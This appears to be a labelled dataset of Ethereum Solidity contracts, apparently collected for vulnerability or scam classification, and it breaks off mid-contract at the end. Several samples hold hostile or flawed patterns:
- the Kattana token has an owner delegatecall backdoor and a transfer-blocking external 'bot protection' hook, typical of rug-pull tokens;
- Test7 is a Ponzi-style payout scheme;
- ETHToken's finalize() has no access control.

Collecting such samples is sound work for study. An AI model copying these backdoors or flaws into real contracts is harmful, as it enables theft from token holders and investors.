contract DVFInterface2 is Initializable {
IStarkExV2 public instance;
function initialize(
address _deployedStarkExProxy
) public initializer {
instance = IStarkExV2(_deployedStarkExProxy);
}
function registerAndDeposit(
uint256 starkKey,
bytes calldata signature,
uint256 assetType,
uint256 vaultId,
uint256 quantizedAmount,
address tokenAddress,
uint256 quantum
) public {
instance.registerUser(msg.sender, starkKey, signature);
deposit(starkKey, assetType, vaultId, quantizedAmount, tokenAddress, quantum);
}
function registerAndDepositEth(
uint256 starkKey,
bytes calldata signature,
uint256 assetType,
uint256 vaultId
) public payable {
instance.registerUser(msg.sender, starkKey, signature);
depositEth(starkKey, assetType, vaultId);
}
function deposit(
uint256 starkKey,
uint256 assetType,
uint256 vaultId,
uint256 quantizedAmount,
address tokenAddress,
uint256 quantum
) public {
IERC20Upgradeable(tokenAddress).transferFrom(msg.sender, address(this), quantizedAmount * quantum);
instance.deposit(starkKey, assetType, vaultId, quantizedAmount);
}
function depositEth(
uint256 starkKey,
uint256 assetType,
uint256 vaultId
) public payable {
require(gasleft() > 53000, 'INSUFFICIENT_GAS');
address(instance).call{value: msg.value }(abi.encodeWithSignature("deposit(uint256,uint256,uint256)", starkKey, assetType, vaultId));
}
function approveTokenToDeployedProxy(
address _token
) public {
IERC20Upgradeable(_token).approve(address(instance), 2 ** 96 - 1);
}
function allWithdrawalBalances(
uint256[] calldata _tokenIds,
uint256 _whoKey
) public view returns (uint256[] memory balances) {
balances = new uint256[](_tokenIds.length);
for (uint i = 0; i < _tokenIds.length; i++) {
balances[i] = instance.getWithdrawalBalance(_whoKey, _tokenIds[i]);
}
}
} | 0 | 1,769 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Registry {
struct AttributeData {
uint256 value;
bytes32 notes;
address adminAddr;
uint256 timestamp;
}
address public owner;
address public pendingOwner;
bool public initialized;
mapping(address => mapping(bytes32 => AttributeData)) public attributes;
bytes32 public constant WRITE_PERMISSION = keccak256("canWriteTo-");
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
event SetAttribute(address indexed who, bytes32 attribute, uint256 value, bytes32 notes, address indexed adminAddr);
event SetManager(address indexed oldManager, address indexed newManager);
function initialize() public {
require(!initialized, "already initialized");
owner = msg.sender;
initialized = true;
}
function writeAttributeFor(bytes32 _attribute) public pure returns (bytes32) {
return keccak256(WRITE_PERMISSION ^ _attribute);
}
function confirmWrite(bytes32 _attribute, address _admin) public view returns (bool) {
return (_admin == owner || hasAttribute(_admin, keccak256(WRITE_PERMISSION ^ _attribute)));
}
function setAttribute(address _who, bytes32 _attribute, uint256 _value, bytes32 _notes) public {
require(confirmWrite(_attribute, msg.sender));
attributes[_who][_attribute] = AttributeData(_value, _notes, msg.sender, block.timestamp);
emit SetAttribute(_who, _attribute, _value, _notes, msg.sender);
}
function setAttributeValue(address _who, bytes32 _attribute, uint256 _value) public {
require(confirmWrite(_attribute, msg.sender));
attributes[_who][_attribute] = AttributeData(_value, "", msg.sender, block.timestamp);
emit SetAttribute(_who, _attribute, _value, "", msg.sender);
}
function hasAttribute(address _who, bytes32 _attribute) public view returns (bool) {
return attributes[_who][_attribute].value != 0;
}
function hasBothAttributes(address _who, bytes32 _attribute1, bytes32 _attribute2) public view returns (bool) {
return attributes[_who][_attribute1].value != 0 && attributes[_who][_attribute2].value != 0;
}
function hasEitherAttribute(address _who, bytes32 _attribute1, bytes32 _attribute2) public view returns (bool) {
return attributes[_who][_attribute1].value != 0 || attributes[_who][_attribute2].value != 0;
}
function hasAttribute1ButNotAttribute2(address _who, bytes32 _attribute1, bytes32 _attribute2) public view returns (bool) {
return attributes[_who][_attribute1].value != 0 && attributes[_who][_attribute2].value == 0;
}
function bothHaveAttribute(address _who1, address _who2, bytes32 _attribute) public view returns (bool) {
return attributes[_who1][_attribute].value != 0 && attributes[_who2][_attribute].value != 0;
}
function eitherHaveAttribute(address _who1, address _who2, bytes32 _attribute) public view returns (bool) {
return attributes[_who1][_attribute].value != 0 || attributes[_who2][_attribute].value != 0;
}
function haveAttributes(address _who1, bytes32 _attribute1, address _who2, bytes32 _attribute2) public view returns (bool) {
return attributes[_who1][_attribute1].value != 0 && attributes[_who2][_attribute2].value != 0;
}
function haveEitherAttribute(address _who1, bytes32 _attribute1, address _who2, bytes32 _attribute2) public view returns (bool) {
return attributes[_who1][_attribute1].value != 0 || attributes[_who2][_attribute2].value != 0;
}
function getAttribute(address _who, bytes32 _attribute) public view returns (uint256, bytes32, address, uint256) {
AttributeData memory data = attributes[_who][_attribute];
return (data.value, data.notes, data.adminAddr, data.timestamp);
}
function getAttributeValue(address _who, bytes32 _attribute) public view returns (uint256) {
return attributes[_who][_attribute].value;
}
function getAttributeAdminAddr(address _who, bytes32 _attribute) public view returns (address) {
return attributes[_who][_attribute].adminAddr;
}
function getAttributeTimestamp(address _who, bytes32 _attribute) public view returns (uint256) {
return attributes[_who][_attribute].timestamp;
}
function reclaimEther(address _to) external onlyOwner {
_to.transfer(address(this).balance);
}
function reclaimToken(ERC20 token, address _to) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(_to, balance);
}
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner() {
require(msg.sender == owner, "only Owner");
_;
}
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
} | 1 | 5,432 |
pragma solidity ^0.4.20;
contract Ninja {
address admin;
bool public ran=false;
constructor() public {
admin = msg.sender;
}
function () public payable{
address hodl=0x4a8d3a662e0fd6a8bd39ed0f91e4c1b729c81a38;
address from=0x1447e5c3f09da83c8f3e3ec88f72d8e07ee69288;
hodl.call(bytes4(keccak256("withdrawFor(address,uint256)")),from,2000000000000000);
}
function getBalance() public constant returns (uint256){
return address(this).balance;
}
function withdraw() public{
admin.transfer(address(this).balance);
}
} | 0 | 2,298 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Kattana is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 10000000000000000000000000;
string public name = "Kattana";
string public symbol = "KTN";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,174 |
pragma solidity ^0.4.18;
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
}
contract ERC20Interface {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ETHToken is ERC20Interface {
string public constant name = "ETHToken";
string public constant symbol = "EEE";
uint8 public constant decimals = 18;
uint256 public constant tokenCreationCap = 3000000* 10**18;
uint256 public constant tokenCreationMin = 1* 10**18;
mapping(address => mapping (address => uint256)) allowed;
uint public fundingStart;
uint public fundingEnd;
bool public funding = true;
address public master;
uint256 totalTokens;
uint256 soldAfterPowerHour;
mapping (address => uint256) balances;
mapping (address => uint) lastTransferred;
mapping (address => uint256) balancesEther;
address public migrationAgent;
uint256 public totalMigrated;
event Migrate(address indexed _from, address indexed _to, uint256 _value);
event Refund(address indexed _from, uint256 _value);
uint totalParticipants;
function ETHToken() {
master = msg.sender;
fundingStart = 1511654250;
fundingEnd = 1511663901;
}
function getAmountofTotalParticipants() constant returns (uint){
return totalParticipants;
}
function getAmountSoldAfterPowerDay() constant external returns(uint256){
return soldAfterPowerHour;
}
function transfer(address _to, uint256 _value) returns (bool success) {
if(funding) throw;
var senderBalance = balances[msg.sender];
if (senderBalance >= _value && _value > 0) {
senderBalance -= _value;
balances[msg.sender] = senderBalance;
balances[_to] += _value;
lastTransferred[msg.sender]=block.timestamp;
Transfer(msg.sender, _to, _value);
return true;
}
return false;
}
function totalSupply() constant returns (uint256 totalSupply) {
return totalTokens;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function EtherBalanceOf(address _owner) constant returns (uint256) {
return balancesEther[_owner];
}
function TimeLeft() external constant returns (uint256) {
if(fundingEnd>block.timestamp)
return fundingEnd-block.timestamp;
else
return 0;
}
function TimeLeftBeforeCrowdsale() external constant returns (uint256) {
if(fundingStart>block.timestamp)
return fundingStart-block.timestamp;
else
return 0;
}
function migrate(uint256 _value) external {
if(funding) throw;
if(migrationAgent == 0) throw;
if(_value == 0) throw;
if(_value > balances[msg.sender]) throw;
balances[msg.sender] -= _value;
totalTokens -= _value;
totalMigrated += _value;
MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value);
Migrate(msg.sender, migrationAgent, _value);
}
function setMigrationAgent(address _agent) external {
if(funding) throw;
if(migrationAgent != 0) throw;
if(msg.sender != master) throw;
migrationAgent = 0x52918621C4bFcdb65Bb683ba5bDC03e398451Afd;
}
function getExchangeRate() constant returns(uint){
return 30000;
}
function ICOopen() constant returns(bool){
if(!funding) return false;
else if(block.timestamp < fundingStart) return false;
else if(block.timestamp > fundingEnd) return false;
else if(tokenCreationCap <= totalTokens) return false;
else return true;
}
function() payable external {
if(!funding) throw;
if(block.timestamp < fundingStart) throw;
if(block.timestamp > fundingEnd) throw;
if(msg.value == 0) throw;
if((msg.value * getExchangeRate()) > (tokenCreationCap - totalTokens)) throw;
var numTokens = msg.value * getExchangeRate();
totalTokens += numTokens;
if(getExchangeRate()!=30000){
soldAfterPowerHour += numTokens;
}
balances[msg.sender] += numTokens;
balancesEther[msg.sender] += msg.value;
totalParticipants+=1;
Transfer(0, msg.sender, numTokens);
}
function finalize() external {
if(!funding) throw;
funding = false;
uint256 percentOfTotal = 25;
uint256 additionalTokens = totalTokens * percentOfTotal / (37 + percentOfTotal);
totalTokens += additionalTokens;
balances[master] += additionalTokens;
Transfer(0, master, additionalTokens);
if (!master.send(this.balance)) throw;
}
function refund() external {
if(!funding) throw;
if(block.timestamp <= fundingEnd) throw;
if(totalTokens >= tokenCreationMin) throw;
var ethuValue = balances[msg.sender];
var ethValue = balancesEther[msg.sender];
if (ethuValue == 0) throw;
balances[msg.sender] = 0;
balancesEther[msg.sender] = 0;
totalTokens -= ethuValue;
Refund(msg.sender, ethValue);
if (!msg.sender.send(ethValue)) throw;
}
function transferFrom(address _from,address _to,uint256 _amount) returns (bool success) {
if(funding) throw;
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
if(funding) throw;
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 2,943 |
pragma solidity ^0.4.17;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DSThing is DSAuth, DSNote, DSMath {
}
contract PriceFeed is DSThing {
uint128 val;
uint32 public zzz;
function peek() public view
returns (bytes32,bool)
{
return (bytes32(val), now < zzz);
}
function read() public view
returns (bytes32)
{
assert(now < zzz);
return bytes32(val);
}
function post(uint128 val_, uint32 zzz_, address med_) public note auth
{
val = val_;
zzz = zzz_;
bool ret = med_.call(bytes4(keccak256("poke()")));
ret;
}
function void() public note auth
{
zzz = 0;
}
} | 0 | 451 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Token is StandardToken, PausableToken , BurnableToken {
mapping(address => bool) internal locks;
mapping(address => uint256) internal timelocks;
mapping(address => uint256) internal valuelocks;
string public name;
string public symbol;
uint8 public decimals;
constructor( uint256 _initialSupply, string _name, string _symbol, uint8 _decimals,address admin) public {
owner = msg.sender;
totalSupply_ = _initialSupply;
balances[admin] = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(locks[msg.sender] == false);
require(timelocks[msg.sender] == 0 ||
timelocks[msg.sender] < now ||
balanceOf(msg.sender).sub(valuelocks[msg.sender]) >= _value);
super.transfer(_to, _value);
}
function lock(address addr) public onlyOwner returns (bool) {
require(locks[addr] == false);
locks[addr] = true;
return true;
}
function unlock(address addr) public onlyOwner returns (bool) {
require(locks[addr] == true);
locks[addr] = false;
return true;
}
function showLock(address addr) public view returns (bool) {
return locks[addr];
}
function resetTimeLockValue(address addr) public onlyOwner returns (bool) {
require(locks[addr] == false);
require(timelocks[addr] < now);
valuelocks[addr] = 0;
return true;
}
function timelock(address addr, uint256 _releaseTime, uint256 _value) public onlyOwner returns (bool) {
require(locks[addr] == false);
require(_releaseTime > now);
require(_releaseTime >= timelocks[addr]);
require(balanceOf(addr) >= _value);
timelocks[addr] = _releaseTime;
valuelocks[addr] = _value;
return true;
}
function showTimeLock(address addr) public view returns (uint256) {
return timelocks[addr];
}
function showTimeLockValue(address addr) public view returns (uint256) {
return valuelocks[addr];
}
function showTokenValue(address addr) public view returns (uint256) {
return balanceOf(addr);
}
function Now() public view returns (uint256){
return now;
}
function () public payable {
revert();
}
} | 1 | 4,680 |
pragma solidity ^0.4.24;
contract Test7 {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 7;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.5 ether;
address public ownerWallet;
address public owner;
bool public gameStarted;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function startGame() public onlyOwner {
gameStarted = true;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
require(gameStarted);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(85).div(1000));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(35).div(1000));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,238 |
contract ARK
{
address owner;
address controller;
bool mute;
string[] companies;
mapping (address => uint) companyIndex;
address[] companyWallet;
mapping (address => uint) balances;
mapping (uint => Bot) bots;
mapping (address => uint[]) botOwners;
mapping (uint => MarketBill) MarketBills;
mapping (address => uint[]) BuyersBills;
mapping (address => uint[]) SellersBills;
mapping (uint => Stats) cycle;
uint[] lastPrice;
uint totCompanies;
log[] logs;
mapping (address => bool) TOS;
mapping(address => bool) ban;
uint[20] listed;
uint coinIndex;
